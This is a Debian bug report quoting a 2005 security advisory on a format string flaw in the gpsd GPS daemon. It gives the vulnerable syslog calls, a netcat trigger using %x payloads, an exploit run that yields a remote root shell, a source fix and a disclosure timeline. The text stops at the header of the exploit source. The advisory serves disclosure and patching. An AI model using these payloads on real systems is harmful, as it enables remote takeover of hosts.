Package: gpsd
Version: 2.7-1
Severity: grave
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DMA[2005-0125a] - 'berlios gpsd (remake of pygps) format string vulnerability'
Author: Kevin Finisterre
Vendor: http://gpsd.berlios.de, http://www.pygps.org
Product: 'gpsd'
References: http://www.digitalmunition.com/DMA[2005-0125a].txt
Description:
gpsd is a service daemon that monitors a GPS attached to a host computer
through
a serial or USB port. The GPS data from the device which includes location,
course,
velocity is available to be queried on TCP port 2947. With gpsd, multiple GPS
client
applications (such as navigational and wardriving software) can share access to
a
GPS without contention or loss of data.
Who would use gpsd? GIS Projets, Remote Sensing Projects, Wardrivers (Kismet
users),
Cartography Groups, Hydrology Projects, Land Management, Forrestry, etc.
Gpsd moved from www.pygps.org in August 2004 and gpsd has just undergone a
major
rewrite at the hands of Eric S. Raymond, author of fetchmail and several books
about
unix. http://www.catb.org/~esr/graphics/esr001.jpg
This bug appears to have been recently introduced into the codebase, possibly
by
~esr? The vulnerability was introduced somewhere between gpsd-1.10.tar.gz
13-Oct-2003
and gpsd-1.90.tar.gz 19-Aug-2004. The last 2 names in the changelog are Derrick
J. Brashear, 2 January 2000 and Eric S. Raymond, 23 Aug 2004.
Vulnerable versions of gpsd can be found at:
http://developer.berlios.de/project/showfiles.php?group_id=2116
Known vulnerable versions include gpsd-1.9.0 through gpsd-2.7.
The format string issue is in the gpsd_report() funciton. syslog() is used
without a
format specifier multiple times in gpsd.c.
./gpsd.c: syslog(LOG_ERR, buf);
./gpsd.c: syslog(LOG_NOTICE, buf);
and more recently
./gpsd.c: syslog((errlevel == 0) ? LOG_ERR : LOG_NOTICE, buf);
There are very few gpsd_report() calls that contain %s and only one is an
exploitable
instance.
./gpsd.c: gpsd_report(1, = client: %s, buf);
Here is a sample run at triggering the vulnerability.
[EMAIL PROTECTED] gpsd-2.0]# /usr/sbin/gpsd -p /dev/ttyS0
[EMAIL PROTECTED] gpsd-2.0]# tail -f /var/log/messages
Sep 19 12:59:23 threat gpsd[9420]: gpsd: launching (Version 2.0)
Sep 19 12:59:23 threat gpsd[9420]: gpsd: listening on port 2947
[EMAIL PROTECTED] gpsd-2.0]# nc localhost 2947
%x%x%x%x%x%x%x%x%x%x%x%x%x
GPSD,A=?,A=?,A=?,A=?,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1
The above netcat session generated the following Syslog messages.
Sep 19 13:00:08 threat gpsd[9420]: gpsd: closed GPS
Sep 19 13:00:08 threat gpsd[9420]: gpsd: opening GPS data source at /dev/ttyS0
Sep 19 13:00:08 threat gpsd[9420]: gpsd: setting speed 4800, 8 bits, no parity
Sep 19 13:00:08 threat gpsd[9420]: gpsd: gpsd_activate: opened GPS (6)
Sep 19 13:00:08 threat gpsd[9420]: gpsd: = client:
fefdf8f80647370673d3c203a696c63203a746e654141412042424241257825422578
2578257825782578257825782578
Sep 19 13:00:11 threat gpsd[9420]: gpsd: closed GPS
From here you are dealing with a classic format string exploit.
Successful exploitation on a redhat box gets you root, and on Debian you get
uid=gpsd gid=dialout.
jdam:/home/kfinisterre/gps$ ./ex_gpsd -h 192.168.1.203 -t 12
# remote host 192.168.1.203.
Checking Remote version
GPSD VERSION: 2.6
# send exploit data.
[*] data sent 3389 bytes .
[*] data sent 2 bytes .
[+] Trying to exec shellcode on remote
[*] data sent 2 bytes .
[-] Waiting 5 seconds to connect to remote shell
[+] yes!
[*] Executed shell successfully !
Linux localhost.localdomain 2.4.20-8 #1 Thu Mar 13 17:18:24 EST 2003 i686
athlon i386 GNU/Linux
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
stty: standard input: Invalid argument
[EMAIL PROTECTED] /]# exit
To fix this vulnerability in ./gpsd.c you need to modify a few syslog calls.
This
may break existing gpsd_report() functionality. When the author(s) gets around
to
checking email and or reading the bug entries a new version will come out. This
work
around is strictly to prevent exploitation.
syslog(LOG_ERR, %s, buf);
syslog(LOG_NOTICE, %s, buf);
syslog((errlevel == 0) ? LOG_ERR : LOG_NOTICE, %s, buf);
Timeline associated with this bug:
01/19/2005 attempts to notify all of the individuals working on the project via
email were made.
no response.
01/20/2005 BerliOS Developer bug ID #003087 Security Vulnerability ala
syslog() was filed.
no response.
-KF
/**
** Copyright Johnh and KF 2005
**
** Gpsd remote format string exploit
** By: Johnh[at]digitalmunition[dot]com
** Bug Found By: kf[at]digitalmunition[dot]com
** http://www.digitalmunition.com/DMA[2005-0125a].txt
**
** Features: Version ident
**
** Debian machines provide uid=gpsd
** Redhat machines provide uid=root
**
** Lots of JUMP_SLOT's provided but
** You can get